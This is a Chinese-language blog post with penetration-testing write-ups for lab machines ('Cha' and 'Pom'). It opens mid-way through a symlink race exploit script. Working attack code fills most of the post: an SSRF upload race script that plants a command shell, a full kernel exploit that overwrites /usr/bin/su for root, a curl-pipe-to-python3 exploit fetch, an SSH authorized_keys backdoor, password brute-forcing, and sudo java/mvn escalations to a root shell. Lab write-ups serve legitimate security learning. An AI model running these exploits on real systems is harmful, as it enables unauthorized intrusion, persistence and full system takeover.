def remove_path(path):
try:
if os.path.islink(path) or os.path.isfile(path):
os.unlink(path)
elif os.path.isdir(path):
shutil.rmtree(path)
except FileNotFoundError:
pass


def setup():
remove_path(A)
remove_path(B)

os.mkdir(A)
with open(os.path.join(A, TARGET), "w") as f:
f.write(FAKE_DATA)

os.symlink(REAL_DIR, B)


def race_swap(stop_event):
a = A.encode()
b = B.encode()
while not stop_event.is_set():
renameat2(AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE)


def try_read():
s = socket.socket()
s.settimeout(0.5)
s.connect((HOST, PORT))
s.sendall((A + "/" + TARGET + "\n").encode())

data = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
except:
pass

s.close()
return data


def main():
setup()

stop_event = threading.Event()
t = threading.Thread(target=race_swap, args=(stop_event,), daemon=True)
t.start()

try:
for _ in range(100000):
data = try_read()
if not data:
continue

if b"FAKEFLAG" in data:
continue
if b"Symbolic links are not allowed" in data:
continue
if b"Error accessing path" in data:
continue

print("[+] race success:")
print(data.decode(errors="replace"))
break
finally:
stop_event.set()
t.join(timeout=1)
remove_path(A)
remove_path(B)


if __name__ == "__main__":
main()

Pasted image 20260425225208

另外,还可以打最新的cve-2026-41651,这个是直接拿shell的
Pasted image 20260425225229

Cha

靶机:Cha
作者:群主 (QQ: 1045670921)
靶机ID: 640
系统:Linux
难度:Easy

条件竞争

Pasted image 20260430093832

扫出来一个file.php,是一个文件管理系统,找到github项目,admin:admin@123默认密码可以登录

尝试一下可以发现目录没有写权限,不能直接编辑index.php,也不能创建文件。

网上搜了一下相关的cve,发现这个地方存在ssrf,重点测试了一下,发现同名文件是可以upload成功的来进行覆盖的,但是首页没能发生变化,所以怀疑是有实时的脚本对index.php进行还原
Pasted image 20260430111741

尝试一下打竞争,让ai搓了个脚本:

import re, requests, random, sys
BASE='http://192.168.56.113/file.php'
TARGET='http://192.168.56.113/index.php'
PAYLOAD='http://192.168.56.1:8001/index.php?v=exec3'
if len(sys.argv) > 2 and sys.argv[1] in ('-f','--file'):
with open(sys.argv[2], 'r', encoding='utf-8') as fh:
CMD = fh.read().strip()
elif len(sys.argv) > 1:
CMD=' '.join(sys.argv[1:])
else:
CMD=sys.stdin.read().strip() or 'id'
s=requests.Session()
s.headers['Connection']='keep-alive'
r=s.get(BASE, timeout=10)
t=re.search(r'name="token" value="([0-9a-f]{64})"', r.text).group(1)
r=s.post(BASE, data={'fm_usr':'admin','fm_pwd':'admin@123','token':t}, timeout=10)
m=re.search(r'name="token" value="([0-9a-f]{64})"', r.text)
if m: t=m.group(1)
for round in range(35):
try:
s.post(BASE+'?p=&upload', data={'type':'upload','uploadurl':PAYLOAD,'token':t,'ajax':'true'}, timeout=10)
except Exception:
continue
for i in range(40):
try:
rr=s.get(TARGET, params={'1':CMD,'x':str(random.random())}, timeout=8)
txt=rr.text
except Exception:
continue
if 'RET=' in txt or 'Array' in txt or 'uid=' in txt or 'No such file or directory' in txt or 'Permission denied' in txt or 'Traceback' in txt or 'SyntaxError' in txt:
sys.stdout.write(txt)
raise SystemExit(0)
raise SystemExit('failed to hit race')

Pasted image 20260430164907

copy-fail-CVE-2026-31431

进去之后提权确实没有思路,就想着打打今天早上刚刚爆的这个洞

直接用这个curl https://copy.fail/exp | python3 && su会报错,python版本是3.9,怀疑是python的问题,原payload改一下:

#!/bin/sh
set -eu

python3 - <<'PY'
import os
import zlib
import socket
import ctypes

def d(x):
return bytes.fromhex(x)

libc = ctypes.CDLL(None, use_errno=True)
_splice = libc.splice
_splice.argtypes = [
ctypes.c_int,
ctypes.POINTER(ctypes.c_longlong),
ctypes.c_int,
ctypes.POINTER(ctypes.c_longlong),
ctypes.c_size_t,
ctypes.c_uint,
]
_splice.restype = ctypes.c_ssize_t

def splice(fd_in, fd_out, length, offset_src=None, offset_dst=None):
src = ctypes.c_longlong(offset_src) if offset_src is not None else None
dst = ctypes.c_longlong(offset_dst) if offset_dst is not None else None
ret = _splice(
fd_in,
ctypes.byref(src) if src is not None else None,
fd_out,
ctypes.byref(dst) if dst is not None else None,
length,
0,
)
if ret < 0:
err = ctypes.get_errno()
raise OSError(err, os.strerror(err))

def write_chunk(fd, offset, chunk):
sock = socket.socket(38, 5, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
ALG_SET_KEY = 1
ALG_SET_AEAD_AUTHSIZE = 5
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_ASSOCLEN = 4
SOL_ALG = 279
zero = d("00")

sock.setsockopt(SOL_ALG, ALG_SET_KEY, d("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
op, _ = sock.accept()

size = offset + 4
op.sendmsg(
[b"A" * 4 + chunk],
[
(SOL_ALG, ALG_SET_OP, zero * 4),
(SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
(SOL_ALG, ALG_SET_ASSOCLEN, b"\x08" + zero * 3),
],
32768,
)

rfd, wfd = os.pipe()
splice(fd, wfd, size, offset_src=0)
splice(rfd, op.fileno(), size)
try:
op.recv(8 + offset)
except Exception:
pass

fd = os.open("/usr/bin/su", 0)
payload = zlib.decompress(
d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)

for i in range(0, len(payload), 4):
write_chunk(fd, i, payload[i:i+4])

print("PATCH_DONE")
PY

echo "[*] /usr/bin/su:"
file /usr/bin/su || true
echo "[*] quick root check:"
printf 'id\nwhoami\nexit\n' | /usr/bin/su

Pasted image 20260430165651

Pasted image 20260430165709

root弱口令

靶机截止之后复现,发现预期是root弱口令,这一块确实不能忽略
使用这个项目,比较快可以爆出来: https://github.com/yanxinwu946/suBrute

./subrute.sh root rockyou5000.txt > result.txt

Pom

靶机:Pom  
作者:Sublarge
靶机ID:608
难度:Easy

SSL端口连接

Pasted image 20260501231213
扫出来55555端口有一个使用了ssl的服务,之前遇到这种用nc比较多,用到了SSL说明这里的通信需要使用https之类,可以使用这个方法去连:

openssl s_client -connect 192.168.56.114:55555

-brief可以看一下基本信息
Pasted image 20260501231346

发现直接是个命令行,可以执行命令,我们先写个公钥后门进去

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop' > ~/.ssh/authorized_keys

第一个flag直接读就行:

mav1234@Pom:~$ cat user.txt
flag{user-f823e147843dd5b23f0ac9d243ae12fb}

sudo mvn提权

进来之后看到.local下面有一个被证书加密的文件,解密一下:

openssl pkeyutl -decrypt -inkey .\ssl.pem -in .\maven.meta -out .\meta.dec
#MvxPf8yCB8lxXk5A

经过尝试,这个是当前用户mav1234的密码,那么sudo -l看一下

mav1234@Pom:/tmp$ sudo -l
[sudo] password for mav1234:
Matching Defaults entries for mav1234 on Pom:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for mav1234:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User mav1234 may run the following commands on Pom:
(qc2000) PASSWD: /usr/bin/java

可以以qc2000的身份执行java命令,那么写个java程序,运行拿到qc2000的bash

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

public class CopyBash {
public static void main(String[] args) throws Exception {
new ProcessBuilder("/bin/bash", "-p").inheritIO().start().waitFor();
}
}
cd /tmp
javac CopyBash.java
sudo -u qc2000 /usr/bin/java CopyBash

sudo -l:

qc2000@Pom:~$ sudo -l
Matching Defaults entries for qc2000 on Pom:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for qc2000:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User qc2000 may run the following commands on Pom:
(terra536) NOPASSWD: /home/terra536/ln

然后直接sudo -u terra536 /home/terra536/ln就能切换到terra526,其实这个ln就是一个bash

terra536@Pom:~$ ls -al ln
lrwxrwxrwx 1 terra536 terra536 7 May 1 20:23 ln -> /bin/sh

sudo -l:

terra536@Pom:~$ sudo -l
Matching Defaults entries for terra536 on Pom:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for terra536:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User terra536 may run the following commands on Pom:
(ALL) NOPASSWD: /usr/bin/mvn

那么肯定是这个mvn作为提权点。mvn本身是有插件可以进行命令执行的,可以使用exec-maven-plugin 调用 /bin/bash -p。只不过我这里的靶机不出网,要把插件和依赖拷进去

先写个最简单的mvn项目

cd /tmp
mkdir m && cd m
cat > pom.xml <<'EOF'
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>x</groupId>
<artifactId>x</artifactId>
<version>1.0</version>
</project>
EOF
#安装插件
mvn dependency:get -Dartifact=org.codehaus.mojo:exec-maven-plugin:3.1.0

#如果不出网环境要打包复制一下
#在出网机上安装好插件,完整打包
tar czf m2-repository.tar.gz -C ~/.m2 repository
#然后解压
tar xzf m2-repository.tar.gz -C ~/.m2

提权即可

sudo /usr/bin/mvn -q \
-Dexec.executable=/bin/bash \
-Dexec.args="-p" \
--non-recursive \
org.codehaus.mojo:exec-maven-plugin:3.1.0:exec

Pasted image 20260502000656

文章作者: Xiaohao

文章链接: https://blog.enxiaohao.cn/posts/Pentration/Mazesec/

版权声明:除另有声明外,本博客文章均采用 CC BY-NC-SA 4.0 许可协议。转载请注明原作者与文章出处。

打靶

2026平航杯 Writeup «
上一篇 «
» 春秋云境 Privilege WriteUp
» 下一篇